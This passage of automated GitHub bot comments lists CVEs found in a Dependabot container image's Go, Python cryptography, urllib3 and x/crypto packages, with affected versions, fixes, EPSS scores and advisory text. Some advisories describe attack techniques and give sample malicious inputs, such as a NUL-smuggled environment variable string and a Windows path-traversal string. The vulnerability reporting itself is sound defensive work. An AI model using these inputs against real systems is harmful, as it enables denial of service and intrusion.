        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        critical: 0 high: 3 medium: 0 low: 0 cryptography 41.0.7 (pypi)

        pkg:pypi/cryptography@41.0.7

        high 8.7: CVE--2023--50782 Observable Discrepancy

        Affected range<42.0.0
        Fixed version42.0.0
        CVSS Score8.7
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
        EPSS Score0.855%
        EPSS Percentile75th percentile
        Description

        A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

        high 8.2: CVE--2026--26007 Insufficient Verification of Data Authenticity

        Affected range<=46.0.4
        Fixed version46.0.5
        CVSS Score8.2
        CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
        EPSS Score0.007%
        EPSS Percentile0th percentile
        Description

        Vulnerability Summary

        The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

        This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

        Only SECT curves are impacted by this.

        Credit

        This vulnerability was discovered by:

        • XlabAI Team of Tencent Xuanwu Lab
        • Atuin Automated Vulnerability Discovery Engine

        high 7.5: CVE--2024--26130 NULL Pointer Dereference

        Affected range>=38.0.0
        <42.0.4
        Fixed version42.0.4
        CVSS Score7.5
        CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
        EPSS Score0.341%
        EPSS Percentile56th percentile
        Description

        If pkcs12.serialize_key_and_certificates is called with both:

        1. A certificate whose public key did not match the provided private key
        2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

        Then a NULL pointer dereference would occur, crashing the Python process.

        This has been resolved, and now a ValueError is properly raised.

        Patched in pyca/cryptography#10423

        critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

        pkg:pypi/urllib3@2.0.7

        high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.22
        <2.6.3
        Fixed version2.6.3
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

        However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

        Affected usages

        Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

        Remediation

        Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

        If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

        high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

        Affected range>=1.0
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.027%
        EPSS Percentile7th percentile
        Description

        Impact

        urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

        When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

        The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

        stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

        If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

        Credits

        The issue was reported by @Cycloctane.
        Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

        high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

        Affected range>=1.24
        <2.6.0
        Fixed version2.6.0
        CVSS Score8.9
        CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
        EPSS Score0.029%
        EPSS Percentile8th percentile
        Description

        Impact

        urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

        However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

        Affected usages

        Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

        Remediation

        Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

        If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

        critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

        pkg:golang/golang.org/x/crypto@0.36.0

        high : CVE--2025--47913

        Affected range<0.43.0
        Fixed version0.43.0
        EPSS Score0.033%
        EPSS Percentile10th percentile
        Description

        SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

        Base image is ubuntu:24.04

        Name24.04
        Digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        Vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        Pushed2 weeks ago
        Size30 MB
        Packages131
        OS24.04
        The base image is also available under the supported tag(s): latest, noble

        Refresh base image

        Rebuild the image using a newer base image version. Updating this may result in breaking changes.

        ✅ This image version is up to date.

        Change base image

        TagDetailsPushedVulnerabilities
        26.04
        Major OS version update
        Also known as:
        • devel
        • resolute
        • resolute-20260108
        		 Benefits:
        • Image contains 9 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 26.04
        		 1 month ago



        25.10
        Major OS version update
        Also known as:
        • rolling
        • questing
        • questing-20251217
        		 Benefits:
        • Image contains 7 fewer packages
        • Image has similar size
        • Image introduces no new vulnerability but removes 9
        • Major OS version update
        Image details:
        • Size: 34 MB
        • OS: 25.10
        		 2 months ago



        @github-actions
        Copy link

        github-actions bot commented Feb 25, 2026 •
        edited
        Loading

        Outdated

        🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

        📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
        digestsha256:bf54b2c91cecf373014f9da2661b8bde31e370172c9d5e3bc190b683ca4e2139
        vulnerabilitiescritical: 6 high: 51 medium: 0 low: 0
        platformlinux/amd64
        size347 MB
        packages597
        📦 Base Image ubuntu:24.04
        also known as
        • latest
        • noble
        digestsha256:98ff7968124952e719a8a69bb3cccdd217f5fe758108ac4f21ad22e1df44d237
        vulnerabilitiescritical: 0 high: 0 medium: 4 low: 5
        critical: 5 high: 38 medium: 0 low: 0 stdlib 1.18.3 (golang)

        pkg:golang/stdlib@1.18.3

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        critical : CVE--2024--24790

        Affected range<1.21.11
        Fixed version1.21.11
        EPSS Score0.082%
        EPSS Percentile24th percentile
        Description

        The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

        critical : CVE--2023--24540

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.243%
        EPSS Percentile47th percentile
        Description

        Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

        critical : CVE--2023--24538

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.646%
        EPSS Percentile70th percentile
        Description

        Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

        Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

        As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

        With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

        Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

        critical : CVE--2025--22871

        Affected range<1.23.8
        Fixed version1.23.8
        EPSS Score0.169%
        EPSS Percentile38th percentile
        Description

        The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

        high : CVE--2023--29403

        Affected range<1.19.10
        Fixed version1.19.10
        EPSS Score0.009%
        EPSS Percentile1st percentile
        Description

        On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

        If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

        While the maximum size of query parameters in URLs is generally limited by the maximum request header size, the net/http.Request.ParseForm method can parse large URL-encoded forms. Parsing a large form containing many unique query parameters can cause excessive memory consumption.

        high : CVE--2025--61725

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.031%
        EPSS Percentile9th percentile
        Description

        The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

        high : CVE--2025--61723

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

        This affects programs which parse untrusted PEM inputs.

        high : CVE--2025--58188

        Affected range<1.24.8
        Fixed version1.24.8
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2025--58187

        Affected range<1.24.9
        Fixed version1.24.9
        EPSS Score0.018%
        EPSS Percentile4th percentile
        Description

        Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

        This affects programs which validate arbitrary certificate chains.

        high : CVE--2024--34158

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.163%
        EPSS Percentile37th percentile
        Description

        Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

        high : CVE--2024--34156

        Affected range<1.22.7
        Fixed version1.22.7
        EPSS Score0.306%
        EPSS Percentile53rd percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635.

        high : CVE--2024--24791

        Affected range<1.21.12
        Fixed version1.21.12
        EPSS Score0.618%
        EPSS Percentile70th percentile
        Description

        The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail.

        An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail.

        high : CVE--2024--24784

        Affected range<1.21.8
        Fixed version1.21.8
        EPSS Score1.498%
        EPSS Percentile81st percentile
        Description

        The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers.

        high : CVE--2023--45288

        Affected range<1.21.9
        Fixed version1.21.9
        EPSS Score71.463%
        EPSS Percentile99th percentile
        Description

        An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames.

        Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed.

        This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send.

        The fix sets a limit on the amount of excess header frames we will process before closing a connection.

        high : CVE--2023--45287

        Affected range<1.20.0
        Fixed version1.20.0
        EPSS Score0.190%
        EPSS Percentile41st percentile
        Description

        Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits.

        In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels.

        high : CVE--2023--45283

        Affected range<1.20.11
        Fixed version1.20.11
        EPSS Score0.083%
        EPSS Percentile24th percentile
        Description

        The filepath package does not recognize paths with a ??\ prefix as special.

        On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x.

        Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b.

        Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b.

        In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name.

        UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored.

        high : CVE--2023--44487

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score94.446%
        EPSS Percentile100th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--39325

        Affected range<1.20.10
        Fixed version1.20.10
        EPSS Score0.150%
        EPSS Percentile35th percentile
        Description

        A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

        With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

        This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

        The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

        high : CVE--2023--24537

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

        high : CVE--2023--24536

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.070%
        EPSS Percentile21st percentile
        Description

        Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

        This stems from several causes:

        1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
        2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
        3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

        The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

        In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

        1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
        2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

        high : CVE--2023--24534

        Affected range<1.19.8
        Fixed version1.19.8
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

        Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

        With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

        high : CVE--2022--41725

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.055%
        EPSS Percentile17th percentile
        Description

        A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

        Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

        ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

        With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

        In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

        Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

        high : CVE--2022--41724

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Large handshake records may cause panics in crypto/tls.

        Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

        This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

        high : CVE--2022--41723

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.195%
        EPSS Percentile41st percentile
        Description

        A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

        high : CVE--2022--41722

        Affected range<1.19.6
        Fixed version1.19.6
        EPSS Score0.175%
        EPSS Percentile39th percentile
        Description

        A path traversal vulnerability exists in filepath.Clean on Windows.

        On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

        After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

        high : CVE--2022--41720

        Affected range<1.18.9
        Fixed version1.18.9
        EPSS Score0.035%
        EPSS Percentile10th percentile
        Description

        On Windows, restricted files can be accessed via os.DirFS and http.Dir.

        The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

        In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

        With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

        high : CVE--2022--41716

        Affected range<1.18.8
        Fixed version1.18.8
        EPSS Score0.013%
        EPSS Percentile2nd percentile
        Description

        Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

        In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

        high : CVE--2022--41715

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile4th percentile
        Description

        Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

        The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

        After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

        high : CVE--2022--32189

        Affected range>=1.18.0-0
        <1.18.5
        Fixed version1.18.5
        EPSS Score0.113%
        EPSS Percentile30th percentile
        Description

        Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

        high : CVE--2022--30635

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.098%
        EPSS Percentile27th percentile
        Description

        Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

        high : CVE--2022--30633

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

        high : CVE--2022--30632

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.096%
        EPSS Percentile27th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--30631

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.041%
        EPSS Percentile12th percentile
        Description

        Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

        high : CVE--2022--30630

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.038%
        EPSS Percentile11th percentile
        Description

        Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

        high : CVE--2022--2880

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.032%
        EPSS Percentile9th percentile
        Description

        Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

        After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

        high : CVE--2022--2879

        Affected range<1.18.7
        Fixed version1.18.7
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

        high : CVE--2022--28131

        Affected range>=1.18.0-0
        <1.18.4
        Fixed version1.18.4
        EPSS Score0.015%
        EPSS Percentile3rd percentile
        Description

        Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

        high : CVE--2022--27664

        Affected range<1.18.6
        Fixed version1.18.6
        EPSS Score0.093%
        EPSS Percentile26th percentile
        Description

        HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

        high : CVE--2023--29400

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.048%
        EPSS Percentile15th percentile
        Description

        Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

        high : CVE--2023--24539

        Affected range<1.19.9
        Fixed version1.19.9
        EPSS Score0.065%
        EPSS Percentile20th percentile
        Description

        Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

        critical: 1 high: 6 medium: 0 low: 0 stdlib 1.24.4 (golang)

        pkg:golang/stdlib@1.24.4

        critical : CVE--2025--68121

        Affected range<1.24.13
        Fixed version1.24.13
        EPSS Score0.016%
        EPSS Percentile3rd percentile
        Description

        During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.

        high : CVE--2025--61729

        Affected range<1.24.11
        Fixed version1.24.11
        EPSS Score0.017%
        EPSS Percentile4th percentile
        Description

        Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

        high : CVE--2025--61726

        Affected range<1.24.12
        Fixed version1.24.12
        EPSS Score0.026%
        EPSS Percentile7th percentile
        Description

        The net/url package does not set a limit on the number of query parameters in a query.

